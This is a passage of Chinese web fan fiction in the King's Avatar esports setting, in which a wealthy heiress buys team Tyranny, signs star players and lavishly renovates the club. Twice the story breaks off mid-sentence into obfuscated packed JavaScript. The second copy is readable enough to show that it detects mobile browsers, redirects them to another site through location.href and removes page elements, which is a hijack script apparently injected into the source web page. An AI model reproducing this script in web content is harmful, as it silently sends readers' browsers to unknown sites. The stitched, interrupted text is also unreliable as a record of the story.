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张佳乐愣了一下,然后笑得更开心了:“这个啊,得多练。练到手指有肌肉记忆,练到闭着眼睛都知道技能键在哪儿。至于怎么想出来的……大概是因为我喜欢烟花吧。现实里放烟花要花钱,游戏里放烟花,只要按键盘就行,多划算。” 秦昭昭恍然大悟:“原来如此!” 两人又聊了一会儿,主要是秦昭昭在问荣耀相关的问题。张佳乐发现她是真不懂,但也是真有兴趣,问的问题都特别基础,但又特别认真。 “秦总,您玩什么职业啊?”他随口问。 “拳法家!”秦昭昭兴奋地说,“跟韩队一样!” 张佳乐表情微妙:“那您……加油。” 从百花俱乐部出来时,天已经快黑了。K市的夕阳特别美,天边一片火烧云,把整座城市都染成了橘红色。 秦昭昭站在路边等车,手机响了。 是林敬言发来的消息。 只有一句话: “秦总,我想好了。我去霸图。” 秦昭昭盯着那条消息看了三秒,然后“嗷”一嗓子跳了起来,把路过的大妈吓了一跳。 她赶紧捂住嘴,但眼睛已经笑成了月牙。 林敬言答应了! 她手指飞快地打字回复: “太好了!欢迎加入霸图!具体细节我让李经理跟你谈,有什么要求尽管提!” 然后她又给张新杰发了条消息: “林敬言答应了!张佳乐那边我也谈了,他说要考虑几天。我觉得有戏!” 张新杰很快回复: “收到。队长说,如果张佳乐也能来,下赛季的战术体系需要重新设计。我会开始准备。” 秦昭昭看着那条消息,心里美得冒泡。 看看,这就是专业!人还没来呢,战术都已经开始设计了! 车来了,秦昭昭坐上车,看着窗外飞速倒退的街景。 虽然张佳乐还没答应,虽然前路还有很多困难,但至少,她在往前走。 而且不是一个人在走。 有韩文清,有张新杰,有即将到来的林敬言,有已经在训练的秦牧云,还有那些眼里有光、心里有火的人。 他们都在往前走,朝着同一个方向。 那个方向,叫冠军。 秦昭昭打开手机相册,翻出一张照片。那是霸图S4赛季夺冠时的合影,韩文清举着奖杯,表情依旧严肃,但眼睛里闪着光。张新杰站在他旁边,推了推眼镜,嘴角有很浅的笑。其他队员围在他们周围,每个人都笑得很开心。 那是霸图历史上唯一一个冠军。 但不会是最后一个。 秦昭昭收起手机,靠在座椅上,闭上眼睛。 她在心里默默算着:林敬言两千五百万,张佳乐三千五百万,加起来六千万。老爹给的预算是一个亿,还剩四千万……嗯,把几个人工资都提高提高好了。 剩下的,不着急,慢慢来。 车驶向机场,夜幕渐渐降临。K市的灯火次第亮起,像地上的星星。 秦昭昭忽然想起张佳乐说的那句话。现实里放烟花要花钱,游戏里放烟花,只要按键盘就行。 那她就给他一个能尽情放烟花的舞台。 一个能让他把整个荣耀联盟,都变成他个人烟花秀的舞台。 想想就让人期待啊。 秦昭昭笑了,笑得特别灿烂。 5. 买下霸图的第五天 秦昭昭从K市飞回Q市的那个晚上,睡得特别香。 梦里全是银河战舰,韩文清的拳法家在前面开路,张佳乐的弹药专家在后面放烟花,林敬言的流氓在角落里阴人,张新杰的牧师在中间稳坐钓鱼台……画面美得她早上醒来还抱着被子傻笑了五分钟。 然后她就想起一件事。老爹给的一个亿预算,她好像还没花完。 林敬言两千五百万,张佳乐三千五百万,加起来才六千万。 还剩四千万呢! 这钱不花留着干嘛?生利息吗? 于是秦昭昭一个鲤鱼打挺从床上跳起来,说干就干,抓起手机就给李经理打电话:“李经理!今天俱乐部关门一天!” 电话那头的李经理刚睡醒,声音还有点懵:“秦、秦总,关门?为什么?” “装修!”秦昭昭说得斩钉截铁,“我要把俱乐部从头到尾翻新一遍!墙壁,地板,训练室,宿舍,食堂……全都要最好的!” 李经理沉默了三秒,好像在消化她说的内容,然后小心翼翼地问:“秦总,您昨天才从K市回来,要不要先休息一天……” “休息什么休息!花钱这种事能等吗?”秦昭昭一边说一边换衣服,“我马上到俱乐部,你让各部门负责人都在会议室等着,咱们开个花钱大会!” 李经理:“……” 一个小时后,霸图俱乐部会议室。 长桌两侧坐满了人,财务部、后勤部、装备部、宣传部的负责人全到齐了。大家面面相觑,都不知道这位新老板又要搞什么幺蛾子。 门被推开,秦昭昭风风火火地走进来,手里抱着一叠厚厚的资料。 “人都齐了吧?那咱们开始。”她把资料往桌上一放,嘴角带着笑意,“我今天只有一个议题,怎么把这四千万花出去。” 会议室里瞬间安静了。 四千万? 花出去? 财务部负责人老陈推了推眼镜,声音发颤:“秦总,您是说……四千万?” “对啊。”秦昭昭点头,“老爹给我一个亿预算,现在还剩下四千万。我想了想,与其留着发霉,不如拿来改善大家的工作生活环境。所以今天咱们就来商量商量,这钱怎么花。” 她翻开资料第一页,上面密密麻麻列着清单: 1. 俱乐部整体墙面翻新,要那种亮晶晶的环保漆,阳光一照能反光的那种。 2. 训练室所有设备全部更换,电脑要最新款,配置顶配;键盘鼠标要职业选手定制版;椅子要人体工学椅,坐一天不累的那种。 3. 网络带宽升级,直接拉专线,保证打游戏不卡顿。 4. 一队选手宿舍全部改成单人套间,带独立卫浴,床垫要记忆海绵的。 5. 食堂请大厨,每天菜单不重样,营养搭配要科学。 6. 健身房器材全部换新,再建个理疗室,请专业理疗师。 7. …… 清单列了整整两页,事无巨细,从训练设备到生活起居,从硬件到软件,全涵盖了。 会议室里所有人都目瞪口呆。 最后还是李经理先反应过来,干咳一声:“秦总,这些……这些都需要时间规划,不是一下子就能……” “我知道啊。”秦昭昭打断他,“所以咱们今天就规划。各部门负责人都在,有什么想法都说出来。预算管够,只要是对战队好的,对选手好的,咱们就弄!” 她说这话时表情特别认真,一点开玩笑的意思都没有。 装备部的小王先举手:“秦总,训练室的设备确实该换了。现在的电脑用了三年,配置有点跟不上了。而且键盘鼠标磨损严重,有些键位都不灵敏了。” “换!”秦昭昭一拍桌子,“要最好的!钱不是问题!” 后勤部老刘接着说:“宿舍那边确实有点挤,特别是夏休期结束新人来了之后。如果真能改成单人套间,选手休息质量会好很多。” “改!”秦昭昭又一拍桌子,“床垫要最贵的!枕头要最软的!空调要最静音的!” 财务部老陈擦了擦汗:“秦总,这些项目加起来……预算可能有点超……” “超了再申请。”秦昭昭说得轻描淡写,“我找我爸要。” 老陈不说话了。 他忽然觉得,跟这位大小姐谈预算,就像跟鱼谈不要在水里游一样,毫无意义。 秦昭昭一拍手:“对了,再弄个咖啡角,放台高级咖啡机。张副队喜欢喝咖啡,我看他老是自己冲速溶的,那多没意思。” 李经理:“……” 连张副队喝速溶咖啡这种事您都注意到了? 会议开了整整一上午,秦昭昭把每项改造都敲定了细节,连墙漆的颜色都亲自挑。要那种深海蓝,带一点点珠光,阳光照上去像波光粼粼的海面。 散会后,秦昭昭心情特别好,哼着小曲儿去食堂吃饭。 食堂今天做了红烧排骨、清炒时蔬、番茄鸡蛋汤,都是家常菜,但味道很不错。秦昭昭打了份饭,找了个空位坐下,一抬头,看见张新杰坐在对面。 张副队今天穿了件浅灰色的衬衫,坐姿端正得像用尺子量过。他面前摆着一份饭,饭菜分得清清楚楚,左边是米饭,右边是菜,中间有条泾渭分明的线。 秦昭昭本来想跟他打招呼,结果话到嘴边又咽了回去。 因为她被张新杰吃饭的样子震惊了。 这位霸图的战术大师,吃饭也像在执行战术一样严谨。他先用筷子夹起几粒米饭——真的是几粒,不超过十粒,送进嘴里,细细咀嚼,咽下。然后夹起一小块排骨,同样细嚼慢咽。再夹几粒米饭,再夹一口青菜。 一口饭,一口菜,顺序固定,节奏稳定,连咀嚼的次数都好像数过。 秦昭昭看得目瞪口呆,连自己碗里的排骨都忘了吃。她活了二十多年,从来没见过有人吃饭这么……这么有仪式感。 韩文清吃饭虽然也规矩,但至少是正常人的吃法。张新杰这……这简直是强迫症晚期啊! 她就这么呆呆地看着张新杰吃了十分钟饭,直到对方放下筷子,拿起纸巾擦了擦嘴,然后抬头看她:“秦总,您有事吗?” 秦昭昭这才回过神,脸有点红:“没、没事……就是觉得张副队你吃饭……挺讲究的。” 张新杰推了推眼镜:“良好的生活习惯有助于保持思维清晰。” “有道理有道理。”秦昭昭连连点头,然后赶紧扒了两口饭,掩饰自己的尴尬。 等她也吃得差不多了,她才想起正事:“对了张副队,我上午开了个会,决定把俱乐部翻新一下。训练室设备全换,宿舍改成单人间,食堂请大厨……你看看还有什么需要改进的地方吗?我来的晚,不太了解情况。” 张新杰认真地看着她,看了很久。 那双藏在镜片后的眼睛很平静,但秦昭昭总觉得他能看透很多东西。比如她那份急于证明自己的心情,比如她想为战队做点什么的迫切,比如她那种“我不知道该怎么做所以就用钱砸吧”的笨拙。 “秦总。”张新杰开口,声音平稳清晰,“您做的已经够多了,真的。” 秦昭昭一愣。 “林敬言要来,张佳乐在考虑,训练营的新人签了,俱乐部要翻新……您考虑得很周到。其实这些事,原本该是俱乐部管理层操心的。但您来了之后,全都想到了,而且做得比我们想的还要好。这些事,任何一个老板来做,都需要很长时间的规划和考虑。”张新杰继续说,“但您用了一个星期就全部推进了。虽然方法……有点直接,但效果是好的。” 秦昭昭被他夸得有点不好意思:“我、我就是觉得,既然要组最强战队,那硬件也得跟上……” 他顿了顿,推了推眼镜:“是的,您说的对。所以接下来的事,交给我们吧。战队训练,战术磨合,这些是我们专业的事。您已经给了我们最好的条件,剩下的,我们来完成。” 他补充道:“冠军,不是靠豪华的俱乐部就能拿到的。是靠训练,靠战术,靠比赛场上的每一分每一秒。这些,您已经给了我们足够的支持。我们都很感激您,所以……也请相信我们吧。” 秦昭昭听着这些话,鼻子忽然有点酸。 她做了这么多,其实心里一直很没底。她知道自己是个外行,知道自己很多做法在职业圈的人看来很幼稚很胡闹。她只是凭着一股劲儿在往前冲,至于冲得对不对,她也不知道。 但现在,张新杰告诉她:你做的够多了,剩下的交给我们。 这句话,比任何夸奖都让她感动。 “张副队……”秦昭昭吸了吸鼻子,“谢谢你。” “不用谢。”张新杰站起身,“这是我们应该做的。对了,下午训练室要测试新设备,您如果有空可以来看看。韩队说,新键盘的手感很好。” “我一定去!”秦昭昭立马点头。 下午,秦昭昭果然去了训练室。 新设备已经运到了一部分,崭新的电脑排成一排,键盘鼠标闪着金属光泽。韩文清正坐在一台电脑前试手感,手指在键盘上快速敲击,屏幕里的拳法家做着各种动作。 “韩队,怎么样?”秦昭昭凑过去问。 韩文清头也不回:“不错。” 能从韩文清嘴里听到“不错”两个字,那这设备就是真的不错了。 秦昭昭美滋滋地在训练室里转了一圈,看工作人员安装设备,看选手们试用新键盘,看张新杰在白板上画新的战术图。 一切都井井有条,一切都充满希望。 她忽然觉得,当老板其实也挺好的。 虽然她什么都不懂,但她可以给懂的人创造条件,让他们去创造奇迹。 这就够了。 晚上回到家,秦昭昭又做了个决定,她要注册微博。 既然要当老板,那就要有个老板的样子。发发动态,跟粉丝互动,宣传宣传战队……这些她虽然没做过,但可以学嘛。 于是她下载了微博APP,注册账号,ID就叫“霸图秦昭昭”,认证信息写的是“霸图电子竞技俱乐部老板”。 然后她发了第一条微博: “大家好,我是霸图的新老板秦昭昭。初来乍到,请多指教!另外预告一下,俱乐部近期会有大动作,敬请期待~” 配图是她下午在训练室拍的照片,崭新的设备,专注的选手。 发完微博,秦昭昭就没管了,洗洗睡觉。 她不知道的是,这条微博在荣耀圈里掀起了多大的波澜。 首先是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而此时,秦昭昭的微博粉丝数正在以肉眼可见的速度上涨。从零到一万,只用了一个小时。从一万到十万,用了三个小时。 到第二天早上秦昭昭醒来时,她的微博粉丝已经破了二十万,那条微博的转发评论点赞数加起来超过五十万。 她揉着眼睛点开微博,被那堆红点吓了一跳。 “什么情况……”她嘟囔着点开评论区,然后眼睛越瞪越大。 评论里什么都有,有欢迎的,有质疑的,有求爆料的,有问她是不是真要组银河战舰的。 秦昭昭翻了半天评论,忽然灵机一动。 既然大家都这么好奇,那不如…… 她点开发微博的界面,打字: “谢谢大家的关注!既然这么多朋友问,那我就提前透露一点——俱乐部确实在接触几位优秀的选手,具体是谁暂时保密~不过可以告诉大家的是,我们的目标只有一个:冠军!” 发完这条,她想了想,又发了一条: “另外,为了迎接新赛季,俱乐部正在进行全面升级改造。全新的训练环境,全新的设备,全新的食堂……我们要给选手最好的条件,让他们心无旁骛地去追逐荣耀!” 这两条微博一发,评论区又炸了。 “实锤了!霸图真要买人!” “哪位大神要去霸图?求爆料!” “新老板好有魄力!” “冠军!说得好!” 秦昭昭看着那些评论,心里美滋滋的。 她正打算再回几条评论,手机响了,是李经理打来的。 “秦总!”李经理的声音有点急,“您看热搜了吗?” “热搜?什么热搜?” “您上热搜了!‘霸图新老板’、‘霸图全面升级’两个话题都在热搜榜上!” 秦昭昭一愣,赶紧点开热搜榜。 果然,第三名是“霸图新老板”,第七名是“霸图全面升级”。 她点进去,里面全是关于她的讨论。有分析她背景的,有猜测她要买谁的,有讨论霸图未来的……热闹得像过年。 “这……这是好事还是坏事啊?”秦昭昭有点懵。 “不好说。”李经理叹了口气,“关注度高是好事,但也会带来压力。而且转会的事还没完全敲定,这么早就放出风声,可能会让其他战队抬价……” “抬就抬呗。”秦昭昭倒是很淡定,“反正咱们有钱。” 李经理:“……” 他忽然觉得,跟这位大小姐谈职业圈的弯弯绕绕,就像跟石头谈感情一样,毫无意义。 “那……那咱们下一步怎么办?”李经理问。 “按计划进行。”秦昭昭说,“装修继续,转会继续,训练继续。至于热搜……上了就上了呗,免费宣传,多好。” 挂掉电话,秦昭昭又看了一眼热搜。 她的名字,霸图的名字,第一次以这样的方式出现在这么多人面前。 有点紧张,但更多的是兴奋。 她要让所有人都看到,霸图要回来了。 带着全新的阵容,全新的气象,全新的野心。 回到荣耀之巅。 秦昭昭放下手机,走到窗前。新的一天,开始了。 她深吸一口气,笑了。 花钱的快乐,当老板的快乐,追逐梦想的快乐…… 这些快乐加在一起,就是她现在的心情。 简单,纯粹,充满希望。 就像她第一次接触荣耀时那样。 6. 买下霸图的第六天 秦昭昭这几天忙得像个陀螺,整天在俱乐部和酒店之间来回转。 俱乐部的装修工程全面启动,工人们进进出出,敲敲打打的声音从早响到晚。墙壁要重新粉刷,地板要换新的,训练室的线路要重新布,宿舍要拆了隔断墙改成单人间……整个霸图大楼就像个巨大的施工现场,灰尘满天飞,根本没法待人。 于是秦昭昭大手一挥,把所有一队队员都安排到了市中心的五星级酒店暂住。 “一人一间套房,包三餐,随便点餐,酒店有健身房和游泳池,你们爱干嘛干嘛。”秦昭昭在酒店大堂对着队员们宣布,“装修大概需要十天,这十天你们就在这儿好好休息,调整状态。训练嘛……我让装备部搬了几台电脑到酒店会议室,你们可以临时用用。” 白言飞瞪大眼睛不可思议:“秦总,这酒店……一晚上得多少钱啊?” “不贵不贵。”秦昭昭摆摆手,“我爸有这酒店的VIP卡,打折。” 其实根本没打折,但她懒得解释。反正老爹说了,钱的事不用她操心,她只要负责花钱就行。 队员们拎着行李上楼,一个个表情都有点梦幻。他们打过这么多赛季,住过这么多酒店,但像这样被老板直接包下五星级酒店一层楼的情况,还是头一回见。 秦牧云拖着行李箱,跟在韩文清身后,小声问:“韩队,咱们真住这儿啊?” 韩文清头也不回:“老板安排,就住。” “可是这太奢侈了吧……” “奢侈就奢侈。”韩文清顿了顿,“好好休息,训练别落下就行。” 秦牧云点点头,不敢再说话。 其实韩文清心里也挺复杂的。他打了这么多年职业,见过各种老板,有抠门的,有精明的,有只想着赚钱的。但像秦昭昭这样,花钱如流水还花得特别理直气壮的,真是头一回见。 不过话说回来,这种“不用为钱发愁,只管打好比赛”的感觉……还挺不错的。 至少比那些天天念叨“战队要盈利”“商业价值要提升”光说不做的老板强。 队员们安顿好后的第三天,秦昭昭终于等来了张佳乐的消息。 那天早上她正在酒店餐厅吃早饭,手机震动了一下,是张佳乐发来的微信: “秦总,我想好了。我加入霸图。” 秦昭昭盯着那条消息看了五秒,然后“啪”一声把叉子拍在桌上,把旁边正在优雅喝咖啡的张新杰都愣了一下。 “张副队!”秦昭昭也不管张新杰在干嘛,一把抓住张新杰的胳膊,“张佳乐答应了!他答应了!” 张新杰手里的咖啡杯晃了晃,差点洒出来。他稳了稳手腕,推了推眼镜:“恭喜秦总,具体什么时候来?” “他说还要准备准备,过几天才能到。”秦昭昭松开手,兴奋地在原地转了个圈,“太好了!林敬言答应了,张佳乐也答应了!我的银河战舰要成型了!” 张新杰看着她那副手舞足蹈的样子,嘴角很轻微地向上弯了一下。 虽然这位新老板很多时候做事都不按常理出牌,性格也挺脱线的,但她的那份热情和真诚,确实能感染人。 “那需要提前准备欢迎仪式吗?”张新杰问。 “要要要!”秦昭昭点头如捣蒜,“等张佳乐来了,咱们一起庆祝!不过在那之前……” 她看了看手机日历:“林敬言今天下午的飞机到,我得去接他。” 下午两点,Q市机场。 秦昭昭站在VIP通道出口,这里是她特地安排的,没什么人,不过她还是手里举着个牌子,上面写着“林敬言”三个大字。她今天穿得很正式,浅灰色西装套裙,头发扎成低马尾,脸上化了淡妆,看起来比实际年龄成熟了好几岁。 但手里的那个牌子暴露了她的本性,那是她自己用彩色马克笔写的,字迹歪歪扭扭,旁边还画了个笑脸。 等了大概十分钟,通道里走出一个人。 林敬言今天穿得很简单,白色衬衫配牛仔裤,背了个双肩包,手里拉着个行李箱。他脸上戴着墨镜,但秦昭昭还是一眼就认出了他。 “林敬言!”秦昭昭挥了挥牌子。 林敬言走过来,摘下墨镜,看着她手里的牌子,笑了:“秦总,您这接机牌……挺别致的。” “我自己写的!”秦昭昭很自豪,“怎么样,字不错吧?” 林敬言看着牌子上那个歪歪扭扭的“言”字,违心地点点头:“……很有个性。” 两人从VIP通道离开,直接上了秦昭昭安排的车。一路上,林敬言看着窗外的街景,表情有点恍惚。 “Q市……我比赛时来过很多次,但从来没好好看过。”他轻声说。 “以后有的是时间看。”秦昭昭说,“咱们俱乐部在海边,风景特别好。等装修完了,你住宿舍,每天都能看到海。” 林敬言笑了笑,没说话。 车开到酒店,秦昭昭带着林敬言上楼,给他安排好了房间。套房在酒店顶层,落地窗外就是海景,阳光洒进来,整个房间都亮堂堂的。 “你先休息一下,晚上我带你见队员们。”秦昭昭说,“他们都住这一层,韩队和张副队也在。” 林敬言点点头,把行李箱放在墙角,走到窗前看着外面的海。 海面波光粼粼,偶尔有海鸥飞过。远处的港口停着几艘船,再远一点,能看到霸图俱乐部那栋深蓝色的大楼——虽然现在被脚手架围着,看起来像个工地。 “秦总。”林敬言忽然开口。 “嗯?” “谢谢您。”他转过身,很认真地看着秦昭昭,“我知道转会这事,您费了不少心。呼啸那边……其实挺难搞定的。” 秦昭昭摆摆手:“小事一桩。李经理去谈的,我就负责出钱。” 她说得轻描淡写,但林敬言知道没那么简单。呼啸老板是个精明人,要不是霸图出的价实在太高,加上他本人确实有转会的意愿,这事根本成不了。 “总之,谢谢。”林敬言又说了一遍。 秦昭昭被他谢得有点不好意思:“别客气别客气,以后就是一家人了。你好好休息,晚上见。” 她离开后,林敬言在房间里站了一会儿,然后打开行李箱,开始收拾东西。 其实没什么好收拾的,他就带了几件衣服,一些日常用品,还有……一张照片。 那是呼啸战队S5赛季的全队合影。照片里,他站在中间,手里拿着最佳选手的奖杯,笑得特别灿烂。方锐站在他旁边,勾着他的肩膀,做了个鬼脸。其他队员围在周围,每个人都很快乐。 那是呼啸最好的时候。 也是他最好的时候。 林敬言盯着照片看了很久,然后轻轻叹了口气,把照片收进了抽屉最底层。 过去的就让它过去吧。 现在,他是霸图的选手了。 晚上七点,酒店餐厅包间。 霸图一队的队员们都到了。韩文清坐在主位,表情依旧严肃。张新杰坐在他左边,正在看菜单。白言飞、郑乘风、张奇坐在另一边,小声聊着天。秦牧云坐在最边上,腰背挺得笔直,有点紧张。 秦昭昭推门进来,身后跟着林敬言。 “各位,介绍一下。”秦昭昭拍了拍手,“这位是林敬言,咱们的新队友,以前在呼啸,玩流氓的,账号卡唐三打。” 所有人的目光都集中在林敬言身上。 林敬言摘下墨镜,朝大家点点头:“大家好,我是林敬言。以后请多指教。” 包间里安静了几秒。 然后韩文清站起身,伸出手:“欢迎。” 林敬言跟他握了握手。两个男人的手握在一起时,都有种很微妙的感觉。 他们是对手太久了。 从S2赛季开始,霸图对呼啸,韩文清对林敬言,大漠孤烟对唐三打……这么多年,他们在赛场上交手无数次,互有胜负。韩文清的拳法家刚猛霸道,林敬言的流氓狡猾多变,两人的风格截然不同,但都是联盟顶级的选手。 而现在,他们成了队友。 “韩队,以后请多指教。”林敬言说。 “嗯。”韩文清点头,“坐。” 张新杰也站起身,跟林敬言握了握手:“林敬言选手,欢迎,我是张新杰。” “张副队,久仰。”林敬言笑了,“联盟第一治疗,战术大师。以后战术上听你安排。” “互相学习。”张新杰推了推眼镜。 其他队员也一一跟林敬言打招呼。白言飞最活跃,拉着林敬言问东问西:“林前辈,你的流氓玩得太骚了!我每次看比赛都觉得,这人怎么这么能阴人啊!” 林敬言哭笑不得:“这叫战术,不叫阴人。” “都一样都一样!”白言飞嘿嘿笑,“反正以后你是我们的人了,我就想问,能不能教我怎么阴人?我玩元素法师的,总觉得打法太正派了,不够猥琐。” 秦昭昭在旁边听得直乐:“白言飞,你这是要转型啊?” “多学点没坏处嘛!”白言飞理直气壮。 一顿饭吃得其乐融融,林敬言本来还有点拘谨,但很快就融入了气氛。他说话风趣,经验丰富,讲起职业圈的趣事来一套一套的,把几个年轻队员听得一愣一愣的。 “S4赛季那场季后赛,你们还记得吗?霸图对嘉世,韩队对叶秋那局……”林敬言喝了口茶,“我在台下看,手心全是汗。那打得叫一个激烈,最后韩队赢了的时候,整个场馆都炸了。” 韩文清抬起头:“那场你也在?” “在啊。”林敬言点头,“我当时就想,这人太猛了,以后对上可得小心点。好家伙,一拳差点把我电脑屏幕打穿。” 大家都笑了。 秦昭昭托着下巴,看着这一幕,心里特别温暖。 这就是她想要的效果。把优秀的人聚在一起,让他们互相欣赏,互相学习,一起朝着同一个目标前进。 “对了。”秦昭昭忽然想起什么,“张佳乐也答应来了,过几天就到。等他来了,咱们再正式聚一次,庆祝银河战舰成型!” 白言飞眼睛瞪得溜圆:“张佳乐前辈真要来?百花缭乱那个张佳乐?” “对啊。”秦昭昭点头,“三千五百万买的,贵着呢。” 包间里又安静了。 这次连韩文清都抬起了头。 张佳乐,百花缭乱,联盟第一弹药专家,百花式打法的创始人……这样的选手要加入霸图? 虽然之前就有风声,但真从老板嘴里听到确认消息,冲击力还是不一样的。 “秦总……”白言飞咽了口唾沫,“咱们这阵容……是不是有点太豪华了?” “豪华才好啊。”秦昭昭理所当然地说,“不豪华怎么拿冠军?” 张新杰推了推眼镜,开始在心里重新计算战术组合。韩文清的正面强攻,林敬言的战术骚扰,张佳乐的远程压制,再加上他和白言飞的辅助…… 这画面,想想就让人头皮发麻。 林敬言也愣了一会儿,然后笑了:“秦总,您这是要把联盟炸了啊。” “炸就炸呗。”秦昭昭歪了歪头,“反正荣耀联盟年年都有比赛,炸完了再重建嘛。” 她说这话时表情特别天真,但话里的野心却大得吓人。 林敬言看着她,忽然觉得,自己这次转会,可能真是做对了选择。 跟这样的人一起追逐冠军,应该会很有意思吧。 吃完饭,秦昭昭让林敬言好好休息,明天再安排训练的事。 林敬言回到房间,站在窗前,看着窗外的夜景。Q市的夜晚很美,霓虹闪烁,车流如织。远处的大海在月光下泛着银光,像铺了一地的碎钻。 他拿出手机,犹豫了一会儿,还是给方锐发了条消息: “我到霸图了。一切顺利。” 几分钟后,方锐回复: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908392|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老林,恭喜啊。好好打,拿个冠军回来。” 后面还跟了个哭脸表情。 林敬言盯着那条消息看了很久,然后回了个“好”字。 他关上手机,躺在床上,闭上眼睛。 虽然有点不舍,有点忐忑,但更多的是期待。 期待和新的队友并肩作战,期待在新的舞台上证明自己,期待那个遥不可及的冠军奖杯。 而这一切,都因为那个看起来不太靠谱、但意外地很有魄力的大小姐老板。 林敬言笑了。 这大概就是命运吧。 有时候,你永远不知道人生会在哪个转角遇到什么人,发生什么事。 但既然遇到了,那就好好走下去。 林敬言望着天花板,伸出手来握成拳头,好像要抓住什么似的。 是的,抓住他的梦想,他的奖杯。 第二天早上,秦昭昭起了个大早,跑去酒店健身房,结果发现韩文清已经在里面练了半小时了。 拳皇穿着背心,正在做卧推,手臂肌肉线条分明,汗珠顺着下颌线往下滴。那画面,冲击力太强,秦昭昭愣在门口,进也不是退也不是。 “秦总。”韩文清做完一组,坐起身,擦了擦汗,“有事?” “没、没事……”秦昭昭赶紧摇头,“我就是来看看……那个,韩队你继续练,我不打扰了。” 她转身就想跑,却被韩文清叫住:“等等。” 秦昭昭僵住,慢慢转过身:“韩队……还有事?” “张佳乐什么时候来?”韩文清问。 “他说还要几天,具体时间还没定。”秦昭昭老实回答,“怎么了?” “等他来了,训练计划要调整。”韩文清站起身,拿起毛巾擦了擦脸,“百花式打法和霸图的风格差太多,需要时间磨合。” “这个张副队已经在准备了。”秦昭昭说,“他说等张佳乐来了,会设计新的战术体系。” 韩文清点点头,没再说话,继续去练下一组。 秦昭昭站在门口,看着韩文清专注训练的样子,心里忽然涌起一股豪情。 这就是她战队的队长。 自律,专注,强大,永远想着怎么让战队变得更好。 有这样的队长在,她的银河战舰,一定能驶向荣耀之巅。 她悄悄退出健身房,哼着歌往餐厅走。 路上遇到张新杰,这位副队长已经吃完了早饭,正拿着平板在看数据。 “张副队早啊!”秦昭昭打招呼。 “秦总早。”张新杰抬起头,“林敬言选手已经起来了,在餐厅吃早饭。他说想今天就开始训练。” “这么急?”秦昭昭惊讶。 “职业选手的习惯。”张新杰推了推眼镜,“休息太久会手生。而且他刚转会,需要尽快熟悉战队的节奏。” “那训练室……” “虽然设备不如俱乐部的好,但基础训练没问题。”张新杰说。 秦昭昭连连点头:“那就好那就好。对了,张副队,你觉得林敬言怎么样?” 张新杰想了想:“经验丰富,战术意识强,性格稳重。他的加入对战队会有很大帮助。特别是团队赛,他的流氓可以承担很多战术任务。” “那就好。”秦昭昭松了口气,“我就怕我乱花钱买来的人不合适。” “您的眼光不错。”张新杰很客观地说,“秦牧云,林敬言,都是很好的选择。如果张佳乐也能顺利加入,那么下赛季的霸图……会很强。” 他说“很强”这两个字时,语气依旧平静,但秦昭昭能听出里面的分量。 能让张新杰说出“很强”的队伍,那一定是真的强。 “那就拜托张副队了。”秦昭昭很认真地说,“战术的事我不懂,但后勤的事交给我。你们只管训练,其他的我来搞定。” 张新杰看着她,点了点头:“好。” 两人分开后,秦昭昭去餐厅吃早饭。果然看到林敬言已经坐在那儿了,面前摆着一份简单的早餐,正边吃边看手机。 “早啊!”秦昭昭端着盘子坐过去。 “秦总早。”林敬言抬起头,“张副队说今天可以开始训练,我吃完就去会议室。” “不急不急,你先适应适应。”秦昭昭说,“对了,宿舍还在装修,你这几天就先住酒店。有什么需要的尽管说,别客气。” 林敬言笑了:“秦总,您这待遇……比我当队长时还好。” “那必须的。”秦昭昭得意地抬了抬下巴,“我的队员,就要享受最好的待遇。” 林敬言看着她那副“我就是要宠队员”的表情,不知道该说什么好。 在呼啸这么多年,他习惯了操心,习惯了担责任,习惯了照顾别人。但现在,突然有人反过来照顾他,宠着他,这感觉……还挺新鲜的。 “谢谢秦总。”他轻声说。 “别客气。”秦昭昭摆摆手,然后压低声音,“对了,偷偷告诉你,等张佳乐来了,我打算搞个大新闻。” “什么大新闻?” “暂时保密。”秦昭昭神秘兮兮地眨眨眼,“反正肯定让你们所有人都吓一跳。” 林敬言看着她那副“我要搞事情”的表情,忽然有点替荣耀联盟的其他战队担心。 被这么个不按常理出牌的老板盯上,以后的日子……恐怕不会太平静了。 不过,那又怎样呢? 他已经上了这条船,那就跟着船长一起,乘风破浪,勇往直前。就算……是条贼船。 至于前方是风平浪静还是惊涛骇浪,他都不在乎。 因为这就是荣耀。 这就是职业选手的宿命。 永远在追逐,永远在战斗,永远在期待下一个冠军。 而这一次,他好像离那个目标,更近了一些。 林敬言端起咖啡杯,轻轻抿了一口。 他期待着。 7. 买下霸图的第七天 装修后的霸图俱乐部,华丽得让人差点以为走错了地方。 深蓝色的外墙漆在阳光下泛着珠光,像是把整片海都搬到了墙上。大门换成了厚重的玻璃自动门,霸图的队徽镶嵌在正中央,用的是那种会随着光线变化颜色的特殊材料,白天看是沉稳的深红,傍晚看就变成了绚烂的紫金色。 秦昭昭站在门口,仰头看着这个焕然一新的“家”,心里十分满意。 钱花到位了,效果就是不一样! 她推门走进去,大厅更是让人眼前一亮。地面铺的是光可鉴人的大理石,天花板上悬挂着造型别致的吊灯,灯光柔和但不失明亮。左侧的荣誉墙重新设计过,奖杯陈列在特制的玻璃展柜里,底下打上灯光,每一个奖杯都闪闪发亮,像是在诉说着霸图曾经的辉煌。 右侧的周边商店也升级了,货架整齐,商品琳琅满目,还有专门的体验区,粉丝可以坐在那里试玩荣耀。 最让秦昭昭得意的是训练室。 推开门,映入眼帘的是两排崭新的电脑。显示器是超宽曲面屏,键盘鼠标是职业选手定制版,椅子是那种能调节高度、靠背角度甚至扶手位置的人体工学椅。墙面的隔音材料用的是最好的,窗户换成了双层玻璃,外面车水马龙,里面安静得能听见自己的呼吸声。 每台电脑旁边还配了个小架子,可以放水杯、手机或者记事本。墙角摆了绿植,空气净化器默默地工作着,整个训练室既专业又温馨。 